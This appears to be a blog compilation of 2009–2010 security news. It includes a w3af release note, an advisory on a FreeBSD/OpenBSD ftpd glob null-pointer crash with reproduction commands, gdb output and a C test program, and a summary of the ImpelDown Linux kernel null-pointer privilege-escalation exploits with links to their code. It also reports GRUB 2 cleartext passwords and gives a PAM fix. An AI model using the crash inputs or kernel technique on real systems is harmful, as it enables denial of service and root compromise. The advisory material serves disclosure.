* Enhanced GUI, including huge changes in the MITM proxy and the Fuzzy
Request Editor
* Increased speed by rewriting parts of the thread management code
* Fixed tons of bugs
* Reduced memory usage
* Many plugins were rewritten using different techniques that use less
HTTP requests to identify the same vulnerabilities
* Reduced false positives

You can download the latest versions from the official w3af
website: http://w3af.sf.net/ , enjoy!

Regarding the project itself, we realized that the time between
each release were totally random, so we reorganized [0] the whole
project in such a way that will force us to release periodically (or
look bad if we don’t). Contributing [1] is easier than ever, as we
have defined clear ways of finding your tasks with categories,
releases, etc.

All projects have longstanding bugs, and w3af isn’t the exception.
I would like to ask for the help of the community to fix two very
critical and complicated bugs [2][3] before we release the 1.0 version
in three months time. If you’ve got the Python experience, and a
couple of hours… please give it a try :)

Source

Affected FreeBSD Releases
+-+-+-+-+-+-+-+-+-+
FreeBSD 8.0, 6.3 and 4.9

Affected OpenBSD Releases
+-+-+-+-+-+-+-+-+-+
OpenBSD 4.6

Testing Environment
+-+-+-+-+-+-+-+-+-+
FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386

Full Description
+-+-+-+-+-+-+-+-+-+
FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in its
ftpd when handling globbing requests.

My investigation results in this being a null pointer dereference in
popen.c.
I am not sure if this could be a heap overrun, but I don’t think so.

from popen.c:

/* glob each piece */
gargv[0] = argv[0];
for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) {
glob_t gl;
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;

memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
[1] if (glob(argv[argc], flags, NULL, &gl))
gargv[gargc++] = strdup(argv[argc]);
[2] else
[3] for (pop = gl.gl_pathv; *pop && gargc < (MAXGLOBARGS-1);
pop++)
gargv[gargc++] = strdup(*pop);
globfree(&gl);
}

At [1] glob() is called. if theres a long directory (for example "A" x
200) and a request like described
in "how to repeat this problem" is sent to the ftpd it crashes. My
assumption is because it lands in the
else clause [2], glob doesn't fail but gives back a zeroed out gl
structure. In [3] then there's no check
if pop is null and therefore *pop gets dereferenced which is a null
pointer and the ftpd instance crashes.

Could someone please shed some light into why glob doesn't fail but
gives a zeroed out structure back?

How to repeat the problem
+-+-+-+-+-+-+-+-+-+-+-+-+-+

$ ftp 192.168.2.11
Connected to 192.168.2.11.
220 localhost.Belkin FTP server (Version 6.00LS) ready.
Name (192.168.2.11:nr): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mkdir
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
257
“WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW”
directory created.
ftp> ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/}
200 PORT command successful.
—snip—

on the other side:

—snip—
0x282261e5 in read () at read.S:3
3 RSYSCALL(read)
Current language: auto; currently asm
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0805622c in getline ()
(gdb) i r
eax 0×0 0
ecx 0×0 0
edx 0×0 0
ebx 0xbfbfd911 -1077946095
esp 0xbfbfba70 0xbfbfba70
ebp 0xbfbfcc08 0xbfbfcc08
esi 0×1 1
edi 0xbfbfcbf4 -1077949452
eip 0x805622c 0x805622c
eflags 0×10293 66195
cs 0×33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) x/10i $eip
0x805622c : mov (%edx),%eax
0x805622e : setle %cl
0×8056231 : mov %ecx,%esi
0×8056233 : test %eax,%eax
0×8056235 : je 0×8056281
0×8056237 : test %cl,%cl
0×8056239 : je 0×8056281
0x805623b : mov %edx,%ebx
0x805623d : mov 0xffffee7c(%ebp),%edx
0×8056243 : lea 0xffffee90(%ebp,%edx,4),%edi
(gdb) i f
Stack level 0, frame at 0xbfbfcc10:
eip = 0x805622c in getline; saved eip 0x805047b
called by frame at 0xbfbfcc14
Arglist at 0xbfbfcc08, args:
Locals at 0xbfbfcc08, Previous frame’s sp is 0xbfbfcc10
Saved registers:
ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at
0xbfbfcc04,
eip at 0xbfbfcc0c
(gdb)

Testing program:

—snip—

#include
#include

#define MAXUSRARGS 100
#define MAXGLOBARGS 1000

void do_glob() {
glob_t gl;
char **pop;

char buffer[256];
strcpy(buffer, “{A*/../A*/../A*/../A*/../A*/../A*/../A*}”);

int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf(“GLOB FAILED!\n”);
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 < (MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}

main(int argc, char **argv) {
do_glob();
do_glob();
}
---snip---

05 March 2010
/kingcope

Source

GRUB 1.97, also known as GRUB 2, has support for simple user authentication in its new config file format. The passwords do, though, need to be stored as readable clear text. Various Linux distributions are now being shipped with GRUB 2, including Debian “sid”, the soon to be released Fedora 12 and the recently released Ubuntu 9.10.

Source

ImpelDown.c is a poc trying to exploit null ptr dereference in fs/pipe.c for *all* linux kernel from 2.6.0 to 2.6.31 and ImpelDown-2.6.31only.c target only linux kernel version 2.6.31 (tested and approuved with mmap_min_addr at 0).

If you were writing your own, you have already noticed that there is a subtle difference in the way you can own kernels 2.6.0 up to 2.6.10 and kernels 2.6.11 up to 2.6.31: in the first one the null ptr deref leads to an arbitrary write to everywhere in the kernel since you have control over the destination address of

linux2.6.9/fs/pipe.c

…
219 if (pipe_iov_copy_from_user(pipebuf, iov, chars)) {
…
In such case, we try to exploit this by overwriting and old and obsolete syscall address in the sys_call_table by our privilege escalator function address (hehe old school trickz are always the best).

In kernels 2.6.11 up to 2.6.31, exploitation simply resume in mapping the correct struct pipe_inode_info at NULL and the kernel will call a fptr under our control at inode->i_pipe->bufs[1-16].ops->something()

You can find exploits at http://www.vxhell.org/~teach/exploits/ImpelDown.c and http://www.vxhell.org/~teach/exploits/ImpelDown-2.6.31only.c. The first one wasn’t tested but the second would work for the given kernel (according to your mmap_min_addr)

Source

MooseCox released in enlightenment: http://bit.ly/dEtOG complete with OpenBSD history lesson and a picture in the post-exploit payload

This was referenced earlier in Bug in latest Linux gives untrusted users root access

The null pointer dereference flaw was only fixed in the upcoming 2.6.32 release candidate of the Linux kernel, making virtually all production versions in use at the moment vulnerable. While attacks can be prevented by implementing a common feature known as mmap_min_addr, the RHEL distribution, short for Red Hat Enterprise Linux, doesn’t properly implement that protection, Brad Spengler, who discovered the bug in mid October, told The Register.

Source

Source

www:~# passwd root
passwd: Authentication token manipulation error
passwd: password unchanged

Upon seeing this, I started to figure out reasons why this may occur. After attempting to double-check /etc/passwd & /etc/shadow for any anomolies, I moved on to a recommendation by a friend who told me to try a pwconv just in case files had gotten out of sync. Nothing was panning out for a solution. I decided to test a normal user account which presented me with an interesting situation.

www:~# passwd test
Current Kerberos password:

Here’s the problem — I don’t use Kerberos on this system, nor did I even have the software installed to begin with on the system. Having noted this, I edited /etc/pam.d/common-password and noticed immediately that an undesired line was present

password        requisite                       pam_krb5.so minimum_uid=1000

I went ahead and decided to just completely purge the problem considering that again, I had no use for Kerberos authentication with PAM on my system. I opted to execute the following command.

# apt-get remove –purge libpam-krb5

Once executed, password changing resumed to functioning properly.